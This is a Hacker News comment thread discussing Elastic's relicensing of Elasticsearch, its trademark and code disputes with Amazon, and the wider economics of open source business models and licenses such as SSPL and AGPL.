It also means that you have to find alternate ways of making revenue e.g. by providing consultancy, building services or licensing the trademark (which is an entirely different ball game from open sourcing the code!).

The trouble isn't that Amazon decided to use ElasticSearch in their own offering. The trouble is that Amazon simply out-competes ElasticSearch with their own product when it comes to consultancy, services, etc.

To add insult to injury, Amazon made the mistake of leveraging the ElasticSearch brand a few times too many in ways that just rub the ElasticSearch people the wrong way.

Of course, the founders of ES could never predict how successful their product would become after a decade. There are plenty of open source products engineered by commercial companies that never catch the eye of behemoths like Amazon.

rileymat2(10000) 5 days ago [-]

> The trouble isn't that Amazon decided to use ElasticSearch in their own offering. The trouble is that Amazon simply out-competes ElasticSearch with their own product when it comes to consultancy, services, etc.

I kind of disagree here, the main reason it outcompetes is based on the network of linked self serve services in the ecosystem. We spend a ton of money on Amazon in general, and I would not tout thier consultancy as being anything but ok if not underwhelming.

StavrosK(10000) 5 days ago [-]

> The trouble is that Amazon simply out-competes ElasticSearch with their own product when it comes to consultancy, services, etc.

I don't know if it out-competes them on those terms exactly, rather than the advantage of 'Well I'm already on AWS and they offer an ES service so why not just use that'.

j3th9n(10000) 5 days ago [-]

The problem here is that Amazon is infringing on copyright, using the 'Elasticsearch' trademark and lying about a partnership in a tweet.

> A license is a choice. It means you choose to not gain revenue by directly licensing the IP. Instead, you choose to put the code out there without any further legal obligations on your part as well as those who use that code.

Open source doesn't mean you can infringe on its copyright and use trademarks everywhere you like.

> It also means that you have to find alternate ways of making revenue e.g. by providing consultancy, building services or licensing the trademark (which is an entirely different ball game from open sourcing the code!).

You didn't read the whole article?: 'I took a personal loan to register the Elasticsearch trademark in 2011 believing in this norm in the open source ecosystem.'

dang(10000) 4 days ago [-]

This subthread was originally a reply to https://news.ycombinator.com/item?id=25834523. We sometime prune these when they get too top-heavy aren't tightly semantically coupled.

speeder(10000) 4 days ago [-]

I interviewed at Amazon, and researched their offerings to better prepare.

Until reading this news, I never realized ElastiSearch wasn't an Amazon product, I always believed ElastiSearch was Amazon's invention, because of how Amazon employees talk about (always 'Amazon ElastiSearch' phrase, often dropping the 'service' part of it, so is easy to assume it is 'Amazon's ElastiSearch' like 'Microsoft Windows')

So it is not just... 'a few times too many', if I am interviewing for the company and got extremely confused, how other people wouldn't be confused too? And that is the whole point of trademark laws!

inssein(10000) 4 days ago [-]

Agreed.

We actually were customers of Elastic's offering for a while, but they went down 3 times in a quarter, which was simply unacceptable. We had to switch, and have been okay since. Our bill is also more than half of what it used to be.

The AWS implementation is quite limited in many ways, and there could be a point where we switch back or host it ourselves.

nrmitchi(10000) 5 days ago [-]

> Amazon simply out-competes ElasticSearch with their own product when it comes to consultancy, services

You're kind of right about this, but it's the issue that AWS just has a massive head-start with any client that already uses AWS. They don't really out-compete, they just use their existing vendor lock-in to gain an advantage. And really, by using your dominance in one 'market' to gain an advantage elsewhere ends up feeling like a bit of a grey area.

> To add insult to injury, Amazon made the mistake of leveraging the ElasticSearch brand a few times too many in ways that just rub the ElasticSearch people the wrong way.

You're phrasing this in a way like Amazon 'leveraging the ElasticSearch brand' isn't a trademark issue. Is 'leveraging the trademarks of another company' suddenly okay (as long as you don't do it 'a few times too many') as long as you're Amazon? What if Amazon started selling smart thermostats by 'leveraging' the Nest brand?

dv_dt(10000) 5 days ago [-]

In a way it's hinting at the need for anti-trust barriers similar to how India barred Amazon from both running a product marketplace and offering it's own products in the same marketplace.

I can see both sides of it though. If there are an anti-trust barrier between running AWS and offering major services on top of it, there would be a better overall segregation and likely more innovation overall. On the other hand, putting up a barrier there would be both complex and leaky, and cause missing out on sorts of efficiencies from close integration of cloud platform + services.

holstvoogd(10000) 5 days ago [-]

Since AWS implies that Elastic is involved in the offering, I'd sue AWS for defamation. Having your name associated with a AWS service, and such a shitty service at that, cannot be good for your business.

colechristensen(10000) 5 days ago [-]

Well they are using elastic code freely given away with a few small additions, is that not involved enough?

sjg007(10000) 5 days ago [-]

Elasticsearch has to enforce their trademark otherwise they will lose it. This is crucial.

Preserving their trademark will forbid Amazon from advertising their service as elasticsearch which may help them find and retain customers.

Elasticsearch should lobby for an antitrust investigation into AWS. Here the market is cloud computing is AWS. This is similar to antitrust in the mainframe market or the PC market etc... However, right now it's not clear what the antitrust remedy will be. In those markets things evolved, most recently from desktop PCs to cloud delivered web apps etc...

Beyond that Elastic needs to innovate or join up with someone bigger.

hallqv(10000) 4 days ago [-]

Why antitrust? The cloud market is highly competetive and AWS only have about 1/3 market share.

pyb(10000) 5 days ago [-]

This is tangential, but, speaking of intellectual property, was MongoDB entitled to strip the FSF copyright in the SSPL ? (as per https://webassets.mongodb.com/_com_assets/legal/SSPL-compare... line 5)

gpm(10000) 5 days ago [-]

The FSF gives people permission to modify the GPL as MongoDB did https://www.gnu.org/licenses/gpl-faq.html#ModifyGPL

They do not require in that license to modify the GPL license that you keep the original copyright attribution around.

(IANAL - not legal advice, etc etc)

pritambaral(10000) 5 days ago [-]

Given that the text of the SSPL amounts to a minor edit to that of the AGPL (at best): no.

The SSPL text is still a derivative of the AGPL text, which is copyrighted and licensed under the following terms (from https://www.gnu.org/licenses/agpl-3.0.en.html):

Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

wolframhempel(10000) 5 days ago [-]

In a more general way, the Elastic/AWS case proves a more fundamental vulnerability of Open Source as a business model. A couple of weeks ago, I wrote this article called 'Why I wouldn't invest in open-source companies, even though I ran one.' trying to make this case and point out a couple of systemic pitfalls in OS as a business model (Apologies for the self-promotion, but I felt this might be relevant): https://www.linkedin.com/pulse/why-i-wouldnt-invest-open-sou...

alextheparrot(10000) 5 days ago [-]

In your post you talk briefly about licensing -- effectively (1) MIT/Apache are common and very permissive (2) AGPL sometimes gets shut down by legal (3) Changing licenses is hard.

Given these primitives, do you think one solution to the problem is just what we see here, a new licensing structure for some types of open source? Elastic's move here, attacking the issue through licensing, is one way that this sort of business model is becoming more robust over time and would be instructive for other founders looking to create revenue generating software that is also open source.

As a developer, the main reason I _love_ open source is that I help patch issues or inspect the code to get a better understanding. Which is great because the changes Elastic are making to their license are orthogonal to the value prop for your average developer.

picodguyo(10000) 5 days ago [-]

This blog post strikes me as poorly written, overly emotional, and light on reasons to care. While not Amazon-sized, Elastic is itself a rather large company. Am I supposed to be upset that you're having difficulty getting even larger because of Amazon? Considering you're the experts on this product, shouldn't you be confident in your ability to differentiate from someone offering it as an afterthought? If anything, Amazon's poor support of their Elastic offering amounts to lead gen for a properly run solution. Finally, feel free to change your license now that your original license is no longer conducive to your growth aspirations, but whining that 'not OK' Amazon forced you to do it just comes across as sour grapes.

Vaslo(10000) 5 days ago [-]

I have to agree and came here to say this - the "Not OK" thing feels like we are all being lectured. This is an (one) unfortunate side effect of social media. The author doesn't hear how he sounds, and can't see the cringe on some of the audiences to realize it's an awful (cringeworthy) tactic.

Could have come across better, but otherwise I support the authors assertions.

netdur(10000) 5 days ago [-]

he tool a loan to register trademark, he is speaking personally.

jjeaff(10000) 5 days ago [-]

They probably aren't worried about not becoming larger so much as getting swallowed whole by AWS. AWS has the economies of scale to severely undercut pricing. Especially considering they aren't spending anything on development cost. They can just let elastic search deal with that.

StavrosK(10000) 5 days ago [-]

> shouldn't you be confident in your ability to differentiate from someone offering it as an afterthought?

They are. What they aren't confident in is their ability to differentiate from someone who offers it moderately competently, while not having to pay a single cent in development costs, unlike Elastic, which have to pay for almost all of them.

rkangel(10000) 5 days ago [-]

I assume the trademark thing should be a slam dunk? That seems like the most blatant trademark violation ever.

bluelu(10000) 5 days ago [-]

Is it really so easy?

Doesn't elastic also use Amazon trademarks in their code and documentation? (e.g. ec2, etc..)? I'm not a licence expert, but maybe if you have a have a legal licence to run it, you probably can also name it like that?

kmeisthax(10000) 5 days ago [-]

Trademark law is complicated enough that I can imagine several scenarios where owning 'Elastic' does not allow you to prescribe Amazon's use of 'Elasticsearch Service', or at least where there's enough of a question of law as to allow the matter to proceed to rather expensive litigation.

Also:

>Our efforts to resolve the problem with Amazon failed, forcing us to file a lawsuit. NOT OK.

This and several other sentences alleging illegal behavior on the part of Amazon seem suspicious to me. When I hear someone say that they had to sue another company, but provide no further details of the suit, then I can only assume that their lawsuit was summarily dismissed by the judge. Otherwise, they'd talk about the litigation - there is no legal condition I could think of where you would be allowed to disclose the existence of a lawsuit and make general allegations about a company, but not disclose the existence of at least a settlement agreement, if not a legal judgment.

Does anyone know if Elastic's Amazon lawsuit went anywhere?

edoceo(10000) 5 days ago [-]

Against the huge wallet of Amazon? Litigation isn't free. How much 'justice' can Elastic afford?

sokoloff(10000) 5 days ago [-]

It seems to me (not a lawyer) that "Amazon Elastic Search Service" would be OK in a way that "Amazon Elasticsearch Service" would not.

(AWS had EC2 before Elastic's trademark was registered.)

toast0(10000) 5 days ago [-]

What else would you call the Amazon Elasticsearch Service?

Isn't that just Nominative fair use: referencing a mark to identify the actual goods and services that the trademark holder identifies with the mark?

Especially when it launched and there wasn't a fork.

tmpxgdqrcKFuG(10000) 5 days ago [-]

I am interested to see how long or if Elastic sticks around after this. If people will just move on to another AWS product or if they'll keep using Elasticsearch.

prepend(10000) 5 days ago [-]

I think it depends on whether Amazon wants to start funding development of their fork. I think under this new license, Amazon can't just bring over changes from elastic any more.

If Amazon commits to dev work then their project might be the one that survives since it's actually OSS and more capable of being used in more products.

But if they don't then it will drift and not be very useful any longer.

yrgulation(10000) 5 days ago [-]

The cringe on this thread is appalling.

Elasticsearch B.V. owes you nothing. The source code is still open source, but you should pay for re-selling or providing hosting services around it. They have salaries to pay. Period.

Too many open source 'believers' find themselves out of pocket, taking time away from their families and lives, only for companies like Amazaon and other WAANKs out there to make billions in profit. Time for this to stop. Starve them of your hard work and make them pay if they want to use your software. For sharing knowledge, code can still be freely readable, but should not be free of charge.

marcinzm(10000) 5 days ago [-]

>Elasticsearch B.V. owes you nothing.

And we owe them nothing. They have a right to relicense and we have right to complain about it.

If you have an argument then make it but trying to kill discussion is in bad form imho.

R0b0t1(10000) 5 days ago [-]

Agree, the amount of people who license things as MIT is terrifying. There has been a couple of posts/rants on HN about this. A large company doesn't care about you, and licensing your code as MIT doesn't mean they're going to pay you. GPL actually gives you some teeth.

pietrovismara(10000) 5 days ago [-]

The impression this thread gives me is that most commenters are shills hiding behind a concern for 'open source values', which are not being touched in any sense.

Actually, moves like what elastic is doing are necessary to preserve the FOSS ecosystem.

literallyWTF(10000) 5 days ago [-]

Yup, pretty much the life story of open source. Some people always tend to get upset that individuals/companies either don't spend every waking second on a project or want to get paid for their work if used in commercial products.

It's honestly no different than a leach

sn_master(10000) 5 days ago [-]

What does the term WAANK stand for?

danShumway(10000) 5 days ago [-]

> The source code is still open source, but you should pay for re-selling or providing hosting services around it. They have salaries to pay. Period.

That's not what Open Source is.

What's actually happening here is that people disagree with the goals of the FOSS movement, which is fine, but then instead of going out and joining any of the many other movements around software licensing that are better suited for them -- instead of releasing products as source available or shared source or noncommercial-reuse/creative-commons or just under any generally permissive license -- instead they act like this is our problem to solve.

The point of Open Source is not to share knowledge, it's to allow people to reuse/share code. There are other movements that are better equipped to solve your problems if your goal is primarily just to share knowledge. But we're not going to drop everything we've worked to build just to accommodate you.

Nobody is forcing you to be a part of this movement. Nobody is forcing you to release your software under MIT or GPL licenses. You can do whatever the heck you want with the software you build, just leave us alone and stop acting like it's our problem that our movement isn't accommodating your goals.

throw8932894(10000) 5 days ago [-]

I run Apache licensed storage library. It is not big, but consulting fees cover my living.

Some time ago I changed development model. Public facing version is still Apache 2 licensed. But now there are no unit tests and no integration tests, those are proprietary now. And I extensively use code generator which is also not public.

It is still possible to fork/modify code. Merging pull request is bit more difficult for me (backport stuff to code generator). But it works great and nobody noticed anything.

Practically any serious use of my library has to go through me now. And I am the hero because my code is virtually without bugs. Magic!!! :)

I become disillusioned long time ago. Also people told me several times unit tests do not matter... but in reality they are most valuable part of know how.

fuball63(10000) 5 days ago [-]

This is a pretty interesting approach, but what is the point of it being open at all if it is prohibitively difficult to develop on without tests?

To me it seems like a happy medium of being accessible while still protecting your livelihood.

rsstack(10000) 5 days ago [-]

That's fine but that's not 'Open Source' as the open source community sees it. That's just source-available. It's great: when I choose proprietary software, I'm much happier when I get the source code along with it since it can help with diagnostics and advanced cases. But it isn't 'Open Source'.

zokier(10000) 5 days ago [-]

> And I extensively use code generator which is also not public.

2. Source Code

The program must include source code, and must allow distribution in source code as well as compiled form. Where some form of a product is not distributed with source code, there must be a well-publicized means of obtaining the source code for no more than a reasonable reproduction cost, preferably downloading via the Internet without charge. The source code must be the preferred form in which a programmer would modify the program. Deliberately obfuscated source code is not allowed. Intermediate forms such as the output of a preprocessor or translator are not allowed.

(emphasis mine)

newusertoday(10000) 4 days ago [-]

That's interesting, i am big fan of generating code. Right now i am using handlebars for generating code but i am curious about your approach, what are you using?

brainzap(10000) 5 days ago [-]

why not make a license that requires to pay

pritambaral(10000) 5 days ago [-]

Then they'd lose customers. Many people use their Open Source products because it's free (as in beer). The fact that the products are also free as in speech is merely co-incidental to them. Elastic Co. does not want to lose those customers.

On a broader note: Elastic Co. used Open Source as a marketing point for their product, but now no longer want to be held to the same standard.

RVuRnvbM2e(10000) 5 days ago [-]

Elastic is a 14 billion dollar company[0] with 43% revenue growth YoY[1]. Amazon may be eating into their SaaS market share but Elastic are hardly struggling. Relicensing for competitive business reasons is absolutely fine, but it's silly to pretend that they are doing this for any motive other than making more money. Certainly this is not some altruistic move on the behalf of the open source community.

I think that this attempt to take a popular open-source project proprietary is going to blow up in their faces. Users will flock to OpenDistro and this will be the beginning of the end of Elastic unless they reverse this decision.

[0] https://finance.yahoo.com/quote/ESTC/ [1] https://s2.q4cdn.com/265747582/files/doc_financials/2021/q2/...

retzkek(10000) 4 days ago [-]

> Elastic is a 14 billion dollar company

I believe this is the real driver of this decision. $ESTC's PE is -100 and PC is -2500, they need to drive a lot of business to their hosted cloud or sell many more licenses to support their valuation [^1], and they're not getting the subscriptions they need from the platform add-ons like Machine Learning, APM, and SIEM (43% YoY revenue growth is great, but I don't believe it's sustainable, and this licensing decision suggests neither does Elastic).

Base Elasticsearch and Kibana are sufficient for a large portion of use cases, including mine. Many other of the 'ecosystem' tools they sell have other, established commercial or open-source options (e.g. Splunk vs SIEM, Jaeger/OpenTracing vs APM), and these options won't tie you into the Elastic environment.

> I think that this attempt to take a popular open-source project proprietary is going to blow up in their faces. Users will flock to OpenDistro and this will be the beginning of the end of Elastic unless they reverse this decision.

100% agree. We're going to see an open-source fork, whether from Open Distro (which may have too much baggage) or a new, rebranded project, and many users who don't need Elastic's value-adds will flock there.

^1: Admittedly everything tech is severely overpriced right now.

whoisjuan(10000) 5 days ago [-]

It's really hard to have sympathy for anyone here. On the Amazon side, they of course are pushing on that ethical gray line by using Elastic's name and track record to build their own offering based on Elastic's Open Source software.

On the Elastic's side they simply seem to be mad that Open Source is working exactly as it's supposed to work in favor of a big company that happens to be a competitor. It's like they want to have discretionary control on who benefits from Open Source and who doesn't.

StreamBright(10000) 5 days ago [-]

I wish there was something better than Elastic for indexing large volume of text.

lovelearning(10000) 5 days ago [-]

Better in what ways?

woof(10000) 5 days ago [-]

Apache Solr?

Maybe not 'better', but useful and with a Apache 2.0 license :)

k__(10000) 5 days ago [-]

Yes.

AWS should build a real serverless alternative to it or buy Algolia or something...

jrochkind1(10000) 5 days ago [-]

I don't think most of Amazon's behavior actually violates any norms and values of traditional open source communities.

I think instead we are finding that norms and values of traditional open source communities are in some ways contradictory/inconsistent; that there can be competing interests where it isn't true that either one of them is the one that 'opensource norms and values' privileges; or that the traditional 'norms and values' don't necessary lead to the world that enthusiasts had fantasized about.

In a lot of these discussions, I think the underlying basic thing is that some are alleging, often implicitly, that included in the 'norms and values of open source' are that if anyone is making money from value provided by open source, it should be authors of that open source, or at least they should get a cut.

I don't think that is in fact one of the traditional norms and values of open source community. In some ways it's even counter to the tradition.

The actual world/ecosystem around open source has evolved to be very different than the one imagined by traditional norms and values though. Compare to how apache httpd was originally written -- 6 or 8 people, each from a different organization, collaborated on company time each getting paid by their employer, to produce something of value to all of their employers, where the only desired 'profit' was the thing being available for all to use.

That is sort of a stereotypical traditional fantasy of open source. It is of software being created without a profit motive, in an ecosystem where people would contribute to such things on 'company time' (they had a steady salary from some company already). The more people using the software you wrote, the better, and you never wanted a cut of their profits -- that is the fantasy of traditional open source norms and values.

That is not the world we ended up with though.

So the problem is that now it is 'obvious' to some people that if we wrote the the thing, and then formed a company around that thing we wrote -- it's not 'fair' if someone else is making money from it without giving us a cut.

But this isn't a value encoded into open source licenses at all, and that wasn't an oversight, it was intentional because this wasn't in fact a traditional 'norm and value' of open source at all, and in fact it is in some ways counter to the actual traditional norms and values, one of which I would say was: Your desire to make a profit from this code should not in fact be allowed to prevent anyone else from using it. It is ElasticSearch which is acting contradictory to norms and values of open source in believing nobody should be able to use their software without giving them a cut of profits from it.

These disputes will keep happening, not because some companies are violating the 'norms and values' of open source, but because the actual traditional norms and values of open source are increasingly unable to power a sustainable economy where people can get paid (in the manner they think they deserve?) while producing open source.

shiftpgdn(10000) 5 days ago [-]

Amazon doesn't give back to open source maintainers at all. They take and take with no return. This isn't normal in the open source community.

fangorn(10000) 4 days ago [-]

I don't think you can have an open source product. In this particular case, Elasticsearch is an open source project that Elastic is a custodian of and has been monetising by building products around it: support, consulting, proprietary extensions, hosting and maybe other things.

Now an industry behemoth has decided to directly compete with one of their products. That's tough, especially that it's done in a typically heavy handed way, but... Elastic's reaction seems highly disingenuous, basically a PR dance around 'we love open source but we didn't realise it allows competition to eat into our revenue stream'.

Elasticsearch is great precisely because it's an open source project, not a product. Otherwise it would be a yet another proprietary black box thingy, with a hefty price tag and a bunch of corporate users. As a project, it thrives, enjoys trust, dedicated community, contributions, enthusiast adoption effect, and so on.

I'm sure they could still make plenty of money from their other products, introduce new ones, maybe even get a huge new stream of support contracts from AWS customers. Instead they decided to cannibalise the main source of their success: their brilliant open source project.

GreenWatermelon(10000) 4 days ago [-]

In the end, what Elastic did is making it so ' You can do anything, except selling this product' which imo is fair.

prepend(10000) 5 days ago [-]

So I guess the options are now to use the "OpenDistro" [0] or the SSPL distro maintained by Elastic.

It's too bad that Elastic is no longer open source, but respect the companies choice to close source their stuff.

Will be interesting if Amazon just maintains their fork or abandons it to make something else.

I'm not familiar with elastic as a project and not sure how many community contributions they have, but expect that to shrink as I'm not sure many OSS developers will freely contribute to non-OSS projects.

As for trademark stuff, I expect a renaming like Hudson/Jenkins.

[0] https://github.com/opendistro-for-elasticsearch

dannyw(10000) 5 days ago [-]

Elastic is still open source for anyone but Amazon or other cloud providers trying to resell their work.

pietrovismara(10000) 5 days ago [-]

The source code is freely accessible and you can use it for free.

What's the difference to you as a user? Or are you simply concerned about Amazon?

thecleaner(10000) 5 days ago [-]

I think you are grossly over estimating the contributions that the general community has to open source. Theres a company behind this project and they do most of the maintenance work.

tibbydudeza(10000) 5 days ago [-]

Amazon is the new Microsoft.

richardARPANET(10000) 5 days ago [-]

*Oracle

nautilus12(10000) 5 days ago [-]

I was told many of the more predatory players from Microsoft left to join Microsoft in the last few years. I need to look into this though.

samfisher83(10000) 5 days ago [-]

It seems like Amazon is using their retail strategy here. It is basically white labeling the product. Just find a popular product. Copy the apis and call it amazon x. Open source license make it even easier.

sn_master(10000) 5 days ago [-]

Which is fine as long as they respect the license e.g. keep the result software open source. Amazon is selling compute hours, not software.

Isognoviastoma(10000) 5 days ago [-]

In short, Amazon don't follow law of trademarks. Then, Elastic instead of enforcing their rights in court, changes license in hope that Amazon will follow law of copyright. How do they expect it will work? I don't get it.

mrkeen(10000) 5 days ago [-]

> We've tried every avenue available including going through the courts

Karunamon(10000) 5 days ago [-]

I don't understand how the SSPL is substantially different enough from AGPL to warrant being called 'non-OSS' as has been done multiple times in this thread.

It is literally the AGPL, with even stronger copyleft provisions. It is anti-proprietary in the strongest conceivable way. How is that not open source? It does not infringe upon, and goes out of its way to protect, the four freedoms.

ensignavenger(10000) 4 days ago [-]

https://opensource.org/osd

See in particular items 5, 6 and 9.

no_wizard(10000) 5 days ago [-]

I never understood why its so hard for Corporations (specifically, US Corporations) to just give back to these projects via corporate charity contributions. I know, this takes away from other worthy causes too in some ways, however, I think we could get massive boosts that help all tides in the long run.

After all, US corporate giving, from a cursory search, in 2019 alone was 21.09 billion USD[0] if even 1% of that made it toward open source, that would fund an overwhelming amount of projects overnight. Just 1%. And it would be extremely effective per dollar in terms of what society gets back in return.

I don't know why tech companies don't see it this way in particular.

[0]: https://www.nptrust.org/philanthropic-resources/charitable-g....

jahewson(10000) 5 days ago [-]

Open source software development isn't regarded as a social good (legally in the US), it has to be fulfilling some broader charitable purpose.

But such a system would completely change the dynamics of open source, likely in undesirable ways. Keep the money out, I say.

paxys(10000) 5 days ago [-]

Elastic is a $15 billion company. Its investors aren't looking for charity.

patrickaljord(10000) 5 days ago [-]

Their license literally says they have the right to use this code as they're doing, shouldn't be mad at them for that.

Imagine putting a sign on your lawn that says people can walk on your lawn and are even allowed to poop on it if they feel like it and then getting mad at them when they do so.

That being said, I support their right to change their license to whatever they like if it helps them survive as a business or for whatever reason they see fit obviously, more power to them.

sithadmin(10000) 5 days ago [-]

Glancing at the referenced lawsuits[1,2], the point of contention is not that Elastic's open source code is being used. It's that a.) Elastic feels its trademark is being abused in a manner that misrepresents the relationship between Elastic and Amazon, and b.) that Open Distro incorporates code in a manner that explicitly violates Elastic's licensing.

[1]https://images.law.com/contrib/content/uploads/documents/403...

[2]https://www.courtlistener.com/recap/gov.uscourts.cand.347725...

motives(10000) 5 days ago [-]

I don't believe the issue most are taking here is the license itself that elasticsearch now has, I think its the relicensing of existing contributions (ironically including those from AWS and their employees) which were originally under a true, well-accepted and liberal FOSS license.

If elasticsearch had this license from day one, that would be fair enough, but many people do not freely contribute time and effort to improving something which is not freely available to all others (whether individual or large corporation).

Elasticsearch is self-victimising here when they are arguably exploiting FOSS contributors good will (though due to the CLA what they are doing is most definitely legal).

okl(10000) 5 days ago [-]

I agree, and if they had a problem with it, why didn't they say so 5 years ago?

indymike(10000) 5 days ago [-]

Most of the issues in the article were about misuse of the Elasticsearch trademark. This seems like a fairly simple problem to deal with. AWS should not be competing with Elasticsearch using it's own trademark. The licensing changes really do nothing to solve the bad behavior by Amazon.

detritus(10000) 5 days ago [-]

I'm just a bystander in this regard as it's not really my domain, but have played around with AWS a bit and I must admit, I didn't realise that ElasticSearch wasn't Amazon's own product per se.

Seems to me that Amazon has grossly overstepped fair play here.

blackoil(10000) 5 days ago [-]

Another view, they opened/maintained a lawn wherein you can come have picnic and may buy some drinks from the store, which covers the cost. Now a super chain opens next to them and uses park as free seating for its customer. So they are adding rule against that.

eeZah7Ux(10000) 5 days ago [-]

No. You are confusing between following FOSS licensing to the letter and following the spirit.

globular-toast(10000) 5 days ago [-]

It's more like having the sign say 'feel free to do what you like' then someone poops on the lawn and you sigh and have to update the sign to say 'no pooping, though'.

Most free/open source software licences come from a different time. In most cases they are applied because the authors want to do open source and it's expected that the licence is enough to uphold that spirit. But it's not enough and hasn't been for a long time now. The AGPL was created for this reason but oddly developers have gone the opposite direction and 'permissive' licences have become the fashion. Many of them are now realising there was a reason for licences like GPL and AGPL after all.

pfsalter(10000) 5 days ago [-]

The license for the main Elasticsearch is that, but they have some proprietary features (Machine Learning etc.) which are under a proprietary license. Amazon copied code from another project which had stolen this proprietary code from Elastic and resold it under their own banner. https://www.elastic.co/blog/dear-search-guard-users

kemitchell(10000) 4 days ago [-]

> Their license literally says they have the right to use this code as they're doing, shouldn't be mad at them for that.

Apache 2.0, section 6:

> 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.

Havoc(10000) 5 days ago [-]

>Their license literally says [...]

Hence the license change yes?

david_draco(10000) 5 days ago [-]

Use the code yes, but not use the trademarks. And also not publicly claim to collaborate when they actually do not give back. That's what they complain about.

d3nj4l(10000) 5 days ago [-]

That is not the point. There is legal and there is good - and simply reiterating that something is legal is unproductive and pointless.

Jonnax(10000) 5 days ago [-]

These things seem like Amazon went beyond just selling their hosted version of Elasticstack:

'When the service launched, imagine our surprise when the Amazon CTO tweeted that the service was released in collaboration with us. It was not. And over the years, we have heard repeatedly that this confusion persists. NOT OK.'

'So imagine our surprise when Amazon launched their service in 2015 based on Elasticsearch and called it Amazon Elasticsearch Service. We consider this to be a pretty obvious trademark violation. NOT OK.'

'When Amazon announced their Open Distro for Elasticsearch fork, they used code that we believe was copied by a third party from our commercial code and provided it as part of the Open Distro project. We believe this further divided our community and drove additional confusion. '

nrmitchi(10000) 5 days ago [-]

> Imagine putting a sign on your lawn that says people can walk on your lawn and are even allowed to poop on it if they feel like it and then getting mad at them when they do so.

I mean, sure. Someone can poop on the lawn.

There is a difference between that, and some business coming along with a dump truck full of shit that they then dump on the lawn, and I'm sure you understand that.

dhd415(10000) 5 days ago [-]

Elastic's other blog post with a clarification about their recent license change is also interesting: https://www.elastic.co/blog/license-change-clarification. Apparently, they're considering further license changes such as MariaDB's Business Source License in which code is usable for anything other than offering the product itself as a service but becomes fully open source (including SaaS) after 3-5 years. That makes it pretty clear that it's meant strictly for competition with AWS.

granzymes(10000) 5 days ago [-]

Thank you. I skimmed the linked article and saw only ranting. Maybe we can change the link to this post?

elliekelly(10000) 5 days ago [-]

> Then after a period of time, typically 3-4 years, but not more than 5 years, the restrictions lapse, and the source code automatically converts to an Open Source license, in our case Apache 2.0.

I'm not familiar with this type of license. Any idea how/when this time frame is decided? Is it 3-5 years from software release?

I guess I'm confused by the use of "automatically converts" with a vague timeline. If it's automatic why isn't the time of "automatic" conversion more definitively known? What's the event that triggers the change?

mariuz(10000) 5 days ago [-]

Related article Uproar: MariaDB Corp. veers away from open source https://www.infoworld.com/article/3109213/open-source-uproar...

VoxPelli(10000) 5 days ago [-]

Great post, thanks, had totally missed that, great that they are evaluating BSL as well, this should really get up there on the HN front page as well.

wazoox(10000) 5 days ago [-]

Amazon illegally uses the ElasticSearch trademark. Amazon illegally uses and distributes proprietary Elastic's code. Why do people in the thread keeps repeating that it's OK while it's very obviously abuse by a too-powerful company?

More generally I can't understand (and can't stand either) why people keep defending monopolists on HN. Monopolies are bad, morally, economically, in all sort of ways. They fuel abuse and everyone loses in the end but the handful of plutocrats that control Amazon, Google, Facebook, Microsoft etc.

ydlr(10000) 4 days ago [-]

> Amazon illegally uses the ElasticSearch trademark.

If we accept Elastic's interpretation of trademark law, all retail is illegal.

I bought some break cereal at Walmart this morning that clearly displayed a 'Kellog' trademark. Walk down any isle of the store, unauthorized use of trademarks as far as the eye can see. NOT OK.

Spivak(10000) 4 days ago [-]

If it ends up being ruled that Amazon infringed on Elastic's trademark (their case here is pretty flimsy) or copied Elastic's proprietary code then Amazon deserves to get raked over the coals for copyright infringement.

But Amazon offering hosted Elasticsearch and forking the project is something that I think is okay. It sucks for Elastic but it's good for customers. Amazon is driving the cost of hosted Elasticsearch down closer to its real costs which will always out-compete Elastic who's trying to use their margin to fund development as well. So many businesses fall into the trap of not charging for their actual value and get eaten when someone else is better at their paid complementary services. Elastic's value is the software, not their hosting abilities.

dd_roger(10000) 4 days ago [-]

Neither of these issues have anything to do with the license.

Either Elastic's code used by Amazon is indeed stolen proprietary code and no licensing change is needed to obtain reparation, or Amazon is making lawful use of FOSS source code and the question boils down to 'if I publish code under a FOSS license, can anybody use it?', to which the answer is obviously yes. And if you'd prefer it to be 'no' then don't publish FOSS.

Regarding the trademark, this indeed seems (to my non-lawyer eyes) to be an infringement (or extremely borderline at the very least) but isn't related to licensing.

jaaron(10000) 4 days ago [-]

Amazon's poor behavior doesn't excuse Elastic's poor behavior.

Amazon's violation of Elastic's trademark is an issue between two companies: Amazon & Elastic. Elastic has the courts available to them to pursue their case.

Elastric's change of license affects the larger open source and technical communities and it's understandable that contributors who supported the open source project are upset when Elastic changes the nature of the relationship.

kstrauser(10000) 5 days ago [-]

> Amazon illegally uses the ElasticSearch trademark. Amazon illegally uses and distributes proprietary Elastic's code.

Those are interesting and specific accusations. Got any proof?

cactus2093(10000) 5 days ago [-]

What's the difference between what Amazon does with Elasticsearch vs what someone like Redhat does with the Linux kernel? Or what every hosting provider including AWS does with the Linux kernel, sell access to a service that is running that software.

I get that Elasticsearch wants to run their own company, but I really have no sympathy for their arguments here. They released open source software and now are mad that it is taking on a life of its own that they don't 100% control. That's the whole point of open source as far as I'm concerned, other people can do stuff you might not have expected with your code.

Now they're making it more closed going forward, which is fine and is certainly their right to do. But this argument is so bizarre, instead of saying that we tried to do this open source but unfortunately it makes it too difficult for us as a business so we're closing things off, they're trying to spin it as they are the true, good defenders of open source fighting against the forces of evil by closing off their licensing further.

anticristi(10000) 4 days ago [-]

This. Elastic produced a product that is popular because it's open source. (The closed source version of ES is called Splunk or DataDog.) Now they are pissed off that they can't profit from its popularity. I feel their sadness, but I don't think Amazon is the problem. Even before Amazon many non-Elastic hosted ES offers appeared (logz.io ?).

I would hate to be in their shoes, but it brings a valuable lesson to future entrepreneurs: Do fill the 'unfair advantage' box in your business canvas.

jamra(10000) 5 days ago [-]

Did you read the blog post? They are mad about trademark violation and an allegation that their commercial code has been ripped off by Amazon through a third party. They have Elasticsearch trademarked and you can't use their name with your name on it. In their mind, it is a violation.

fieldcny(10000) 4 days ago [-]

These are not comparable situations.

In addition to redhat employing a large number of kernel contributors, ElasticSearch is a complete product the Linux kernel is just a piece of the overall redhat product. The kernel in and of itself is useless. Also redhat provides source rpms for every non-proprietary app/utility that makes up the redhat product.

A more comparable situation would be redhat and centos, and to the point that Elastic is making, redhat is very protective of their trademarks with regards to the CentOs project, they have never stood for and would never stand for a situation like this.

